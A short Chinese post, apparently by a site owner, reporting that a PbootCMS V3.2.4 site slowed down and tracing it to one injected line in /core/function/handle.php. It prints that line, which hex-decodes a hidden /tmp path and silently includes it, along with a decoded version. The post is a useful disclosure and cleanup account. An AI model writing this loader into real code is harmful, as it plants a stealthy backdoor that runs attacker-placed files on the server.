今天发现使用pbootcms V3.2.4做的网站打开非常慢，之前都一直很快。

近期网站数据都没有做过任何变化，于是猜想是不是被黑了。

经排查发现发现/core/function/handle.php这个文件被植入了一行代码。

$runtime_dir = PACK('H*','2F746D702F2E4943452D756E69782F7169716930'); if(is_file($runtime_dir)){ @INCLUDE_ONCE($runtime_dir); }

经过将字符串转码后得到

$runtime_dir = PACK('H*','/tmp/.ICE-unix/qiqi0'); if(is_file($runtime_dir)){ @INCLUDE_ONCE($runtime_dir); }

查杀木马后也没有发现任何木马文件，删除这行代码后网站又恢复正常。